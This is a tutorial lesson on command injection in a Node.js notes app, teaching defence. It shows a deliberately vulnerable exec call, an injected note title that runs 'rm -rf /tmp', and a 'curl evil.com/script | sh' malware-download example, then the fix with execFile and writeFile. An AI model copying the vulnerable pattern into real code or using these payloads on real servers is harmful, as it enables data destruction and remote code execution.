Command Injection
From SQL to the shell
In the SQL injection lessons, the attacker injected code into a SQL interpreter. Command injection is the same idea, but the interpreter is the operating system’s shell.
This happens when your server runs a shell command that includes user input. The most common case: processing uploaded files with command-line tools (ImageMagick, ffmpeg, pandoc).
The vulnerable code
Imagine we add a feature to our notes app: exporting a note as a text file. We use a shell command to create the file:
import { exec } from "child_process";
import { promisify } from "util";
const execAsync = promisify(exec);
route.get("/notes/:id/export", {
resolve: async (c) => {
const user = authenticate(c.request);
if (user instanceof Response) return user;
const note = db
.prepare("SELECT * FROM notes WHERE id = ? AND user_id = ?")
.get(c.params.id, user.id) as any;
if (!note) return Response.json({ error: "Not found" }, { status: 404 });
const filename = `${note.title}.txt`;
// DELIBERATELY VULNERABLE
await execAsync(`echo "${note.body}" > /tmp/${filename}`);
return Response.json({ message: `Exported to ${filename}` });
},
}); The note’s title and body come from the database, which came from user input. The shell command includes both.
The attack
A user creates a note with the title: test"; rm -rf /tmp; echo "done
The shell command becomes:
echo "note body" > /tmp/test"; rm -rf /tmp; echo "done.txt The shell parses this as three commands:
echo "note body" > /tmp/test"— write to a filerm -rf /tmp— delete everything in /tmpecho "done.txt— print text
The attacker just ran rm -rf /tmp on your server. They could run anything: read environment variables (env), download malware (curl evil.com/script | sh), or open a reverse shell.
Why it works
exec runs a string through the shell. The shell interprets special characters: " ends strings, ; separates commands, $() runs subcommands, ` runs subcommands, | pipes output. When user input is in the string, the attacker controls the shell.
This is the same fundamental problem as SQL injection: code and data mixed in one string.
The fix: avoid exec
The best fix is to not use the shell at all. Node.js has child_process.execFile and child_process.spawn, which run a program directly without a shell:
import { execFile } from "child_process";
import { promisify } from "util";
import path from "path";
import { writeFile } from "fs/promises";
const execFileAsync = promisify(execFile);
// Better approach: use Node.js APIs directly
route.get("/notes/:id/export", {
resolve: async (c) => {
const user = authenticate(c.request);
if (user instanceof Response) return user;
const note = db
.prepare("SELECT * FROM notes WHERE id = ? AND user_id = ?")
.get(c.params.id, user.id) as any;
if (!note) return Response.json({ error: "Not found" }, { status: 404 });
// Sanitize filename: remove anything that is not alphanumeric, dash, or underscore
const safeName = note.title.replace(/[^a-zA-Z0-9_-]/g, "_");
const filePath = path.join("/tmp/exports", `${safeName}.txt`);
// Use Node.js APIs, not shell commands
await writeFile(filePath, note.body, "utf-8");
return Response.json({ message: `Exported to ${safeName}.txt` });
},
}); No shell involved. writeFile writes directly to the file system. The filename is sanitized to remove special characters.
If you must run an external program (like ImageMagick), use execFile or spawn with an argument array:
// WRONG — shell interprets everything
exec(`convert "${inputPath}" -resize 200x200 "${outputPath}"`);
// CORRECT — no shell, arguments are separate strings
execFile("convert", [inputPath, "-resize", "200x200", outputPath]); With execFile, each argument is passed directly to the program. The shell never sees them. Special characters like ;, |, and $() are treated as literal characters in the argument, not as shell operators.
The rule
Never use exec with user input. Use execFile or spawn with argument arrays, or use Node.js APIs directly. If you cannot avoid exec, escape the input with a shell escaping library — but avoiding exec entirely is safer and simpler.
Exercises
Exercise 1: Create a note with the title test; echo INJECTED and try the vulnerable export endpoint. Do you see “INJECTED” in the server output?
Exercise 2: Replace the exec call with writeFile. Try the same attack. The filename becomes test__echo_INJECTED.txt (sanitized), and no command runs.
Exercise 3: If you needed to run ImageMagick’s convert, write the call using execFile with an argument array. What happens if the filename contains spaces? (Answer: it works fine because each argument is separate.)
Why is exec dangerous with user input?